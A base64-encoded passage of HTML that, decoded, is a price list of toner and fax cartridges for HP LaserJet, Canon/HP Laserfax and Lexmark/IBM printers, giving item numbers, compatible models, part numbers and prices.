Uj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7SXRlbSAjNTwvRk9OVD48L1REPg0K PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xP Uj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7TGFzZXJqZXQgU2VyaWVzIDVQLDZQ LCA1TVAsIDZNUDwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZm ZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5i c3A7MzYwM0E8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYw MCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiZuYnNw OyQ0NDwvRk9OVD48L1REPg0KPC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9 IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVS Ij5JdGVtICM2PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZm MDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJz cDtMYXNlcmpldCBTZXJpZXMgNVNJLDgwMDA8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERM RSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFM SUdOPSJDRU5URVIiPiZuYnNwOzM5MDlBPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUi IEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElH Tj0iQ0VOVEVSIj4kOTU8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8VFI+PFREIFZBTElHTj0iTUlERExF IiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJ R049IkNFTlRFUiI+Jm5ic3A7SXRlbSAjNyZuYnNwOzwvRk9OVD48L1REPg0KPFREIFZBTElHTj0i TUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+ PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7TGFzZXJqZXQgU2VyaWVzIDIxMDAsIDIyMDAmbmJzcDs8 L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9O VCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiZuYnNwO0M0MDk2PC9G T05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQg U0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJzcDskNzQ8L0ZPTlQ+ PC9URD4NCjwvVFI+DQo8VFI+PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4N CjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7SXRl bSAjODwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4N CjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7TGFz ZXJqZXQgU2VyaWVzIDgxMDA8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xP Uj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5U RVIiPiZuYnNwO0M0MTgyPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9 IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVS Ij4mbmJzcDskMTE1PC9GT05UPjwvVEQ+DQo8L1RSPg0KPFRSPjxURCBWQUxJR049Ik1JRERMRSIg QkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdO PSJDRU5URVIiPiZuYnNwO0l0ZW0gIzk8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIg QkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdO PSJDRU5URVIiPkxhc2VyamV0IFNlcmllcyA1TC82TDwvRk9OVD48L1REPg0KPFREIFZBTElHTj0i TUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+ PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7MzkwNkE8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1J RERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQ IEFMSUdOPSJDRU5URVIiPiZuYnNwOyQzOTwvRk9OVD48L1REPg0KPC9UUj4NCjxUUj48VEQgVkFM SUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAw MDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJzcDtJdGVtICMxMCZuYnNwOzwvRk9OVD48L1REPg0K PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xP Uj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+TGFzZXJqZXQgU2VyaWVzJm5ic3A7IDRWPC9G T05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQg U0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5DMzkwMCZuYnNwOzwvRk9O VD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJ WkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7JDk1PC9GT05UPjwv VEQ+DQo8L1RSPg0KPFRSPjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8 Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiZuYnNwO0l0ZW0g IzExPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0K PEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5MYXNlcmpldCBT ZXJpZXMgNDAwMDwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZm ZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+QzQx MjdYPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0K PEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJzcDskNzk8 L0ZPTlQ+PC9URD4NCjwvVFI+DQo8VFI+PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZm ZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5i c3A7SXRlbSAjMTI8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2Zm ZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPkxh c2VyamV0IFNlcmllcyAzU0kvNFNJPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJH Q09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0i Q0VOVEVSIj4mbmJzcDs5MjI5MUEmbmJzcDs8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERM RSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFM SUdOPSJDRU5URVIiPiQ1NDwvRk9OVD48L1REPg0KPC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURE TEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBB TElHTj0iQ0VOVEVSIj4mbmJzcDtJdGVtICMxMzwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlE RExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAg QUxJR049IkNFTlRFUiI+TGFzZXJqZXQgU2VyaWVzIDQsNE0sNSw1TSZuYnNwOzwvRk9OVD48L1RE Pg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBD T0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+OTIyOThBPC9GT05UPjwvVEQ+DQo8VEQg VkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIj MDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4kNDk8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8VFI+PFRE IFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0i IzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7SXRlbSAjMTNBPC9GT05UPjwvVEQ+DQo8 VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9S PSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5MYXNlcmpldCBTZXJpZXMgNTAwMDwvRk9OVD48 L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9 NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+QzQxMjlYPC9GT05UPjwvVEQ+DQo8 VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9S PSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4kMTI1PC9GT05UPjwvVEQ+DQo8L1RSPg0KPFRS PjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09M T1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiZuYnNwO0l0ZW0gIzEzQjwvRk9OVD48L1RE Pg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBD T0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+TGFzZXJqZXQgU2VyaWVzIDEyMDA8L0ZP TlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBT SVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPkM3MTE1QTwvRk9OVD48L1RE Pg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBD T0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+JDU5PC9GT05UPjwvVEQ+DQo8L1RSPg0K PFRSPjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQg Q09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiZuYnNwO0l0ZW0gIzEzQzwvRk9OVD48 L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9 NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+TGFzZXJqZXQgU2VyaWVzIDQxMDA8 L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9O VCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPkM4MDYxWDwvRk9OVD48 L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9 NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+JDk5PC9GT05UPjwvVEQ+DQo8L1RS Pg0KPFRSPjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpF PTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiZuYnNwO0l0ZW0gIzE4PC9GT05U PjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0la RT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5MYXNlcmpldCBTZXJpZXMmbmJz cDsgMzEwMDwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAw Ij4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+MzkwNkE8 L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9O VCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiQzOTwvRk9OVD48L1RE Pg0KPC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZP TlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJzcDtJdGVtICMx OTwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxG T05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+TGFzZXJqZXQgU2Vy aWVzIDQ1MDAgQmxhY2s8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0i I2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIi PkM0MTkxJm5ic3A7PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNm ZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4k Njk8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8VFI+PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIj ZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+ Jm5ic3A7SXRlbSAjMjA8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0i I2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIi Pkxhc2VyamV0IFNlcmllcyA0NTAwIENvbG9yPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURE TEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBB TElHTj0iQ0VOVEVSIj5DQUxMPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09M T1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VO VEVSIj4kODk8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8L1RBQkxFPg0KPC9DRU5URVI+PC9QPg0KDQo8 VT48Rk9OVCBGQUNFPSJBcmlhbCxIZWx2ZXRpY2EiIFNJWkU9NiBDT0xPUj0iIzAwMDA4MCI+PFBS RSBBTElHTj0iQ0VOVEVSIj5Gb3IgSGV3bGV0dCBQYWNrYW5kIENhbm5vbiANCkZheCA8ST4ob24g UGFnZSAyPEI+KTwvUFJFPjwvQj48L0k+PC9VPjwvRk9OVD4NCjxQIEFMSUdOPSJDRU5URVIiPjxD RU5URVI+PFRBQkxFIEJPUkRFUiBDRUxMU1BBQ0lORz0xIFdJRFRIPTQ5OT4NCjxUUj48VEQgVkFM SUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPFAgQUxJR049IkNFTlRFUiI+PEZPTlQg U0laRT00IENPTE9SPSIjZmZmZmZmIj5JVEVNPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURE TEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjZmZmZmZmIj48UCBB TElHTj0iQ0VOVEVSIj5ERVNDUklQVElPTjwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExF IiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iI2ZmZmZmZiI+PFAgQUxJ R049IkNFTlRFUiI+TUZHICM8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xP Uj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiNmZmZmZmYiPjxQIEFMSUdOPSJDRU5U RVIiPlBSSUNFPC9GT05UPjwvVEQ+DQo8L1RSPg0KPFRSPjxURCBWQUxJR049Ik1JRERMRSIgQkdD T0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJD RU5URVIiPkl0ZW0gIyAxNDwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9S PSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRF UiI+TGVzZXJmYXggNTAwLCA3MDA8L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdD T0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJD RU5URVIiPkZYMTwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZm ZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+JDU5 PC9GT05UPjwvVEQ+DQo8L1RSPg0KPFRSPjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2Zm ZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPkl0 ZW0gIyAxNTwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAw Ij4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+TGFzZXJm YXggNTAwMCwgNzAwMDwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIj ZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+ RlgyPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0K PEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4kNjQ8L0ZPTlQ+ PC9URD4NCjwvVFI+DQo8VFI+PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4N CjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+SXRlbSAjIDE2 PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZP TlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5MYXNlcmZheCA2MDAw PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZP TlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5GWDM8L0ZPTlQ+PC9U RD4NCjxURCBWQUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQg Q09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiQ1OTwvRk9OVD48L1REPg0KPC9UUj4N CjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00 IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5JdGVtICMxNzwvRk9OVD48L1REPg0K PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xP Uj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+TGFzZXJmYXggODUwMCwgOTAwMDwvRk9OVD48 L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9 NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Rlg0PC9GT05UPjwvVEQ+DQo8VEQg VkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIj MDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4kNTQ8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8VFI+PFRE IFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0i IzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+SXRlbSAjMTg8L0ZPTlQ+PC9URD4NCjxURCBWQUxJ R049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAw ODAiPjxQIEFMSUdOPSJDRU5URVIiPkxhc2VyZmF4IDMyMDA8L0ZPTlQ+PC9URD4NCjxURCBWQUxJ R049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAw ODAiPjxQIEFMSUdOPSJDRU5URVIiPjM5MDZBPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURE TEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBB TElHTj0iQ0VOVEVSIj4kNDQ8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8L1RBQkxFPg0KPC9DRU5URVI+ PC9QPg0KDQo8VT48Rk9OVCBGQUNFPSJBcmlhbCxIZWx2ZXRpY2EiIFNJWkU9NSBDT0xPUj0iIzAw MDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Rm9yIExleG1hcmsgLyBJQk0gTWFjaGluZXM6PEk+IA0K KG9uIFBhZ2UgMyk8L1A+PC9JPjwvVT48L0ZPTlQ+DQo8UCBBTElHTj0iQ0VOVEVSIj48Q0VOVEVS PjxUQUJMRSBCT1JERVIgQ0VMTFNQQUNJTkc9MSBXSURUSD00OTk+DQo8VFI+PFREIFZBTElHTj0i TUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxQIEFMSUdOPSJDRU5URVIiPjxCPjxGT05UIEZB Q0U9IkJvb2ttYW4gT2xkIFN0eWxlIiBDT0xPUj0iI2ZmZmZmZiI+Jm5ic3A7PC9CPjwvRk9OVD48 Rk9OVCBTSVpFPTQgDQpDT0xPUj0iI2ZmZmZmZiI+SVRFTTwvRk9OVD48L1REPg0KPFREIFZBTElH Tj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iI2ZmZmZm ZiI+PFAgQUxJR049IkNFTlRFUiI+REVTQ1JJUFRJT048L0ZPTlQ+PC9URD4NCjxURCBWQUxJR049 Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiNmZmZmZmYi PjxQIEFMSUdOPSJDRU5URVIiPk1GRyAjPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUi IEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjZmZmZmZmIj48UCBBTElH Tj0iQ0VOVEVSIj5QUklDRTwvRk9OVD48L1REPg0KPC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURE TEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBB TElHTj0iQ0VOVEVSIj5JdGVtICMxPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJH Q09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0i Q0VOVEVSIj5JQk0gNDAxOS80MDI5Jm5ic3A7PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURE TEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBB TElHTj0iQ0VOVEVSIj4xMzgwMjAwJm5ic3A7PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURE TEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBB TElHTj0iQ0VOVEVSIj4kOTU8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8VFI+PFREIFZBTElHTj0iTUlE RExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAg QUxJR049IkNFTlRFUiI+SXRlbSAjMjwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBC R0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049 IkNFTlRFUiI+T3B0cmEgUiw0MDM5LCA0MDQ5PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURE TEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBB TElHTj0iQ0VOVEVSIj4xMzgyMTUwPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJH Q09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0i Q0VOVEVSIj4kMTE3PC9GT05UPjwvVEQ+DQo8L1RSPg0KPFRSPjxURCBWQUxJR049Ik1JRERMRSIg 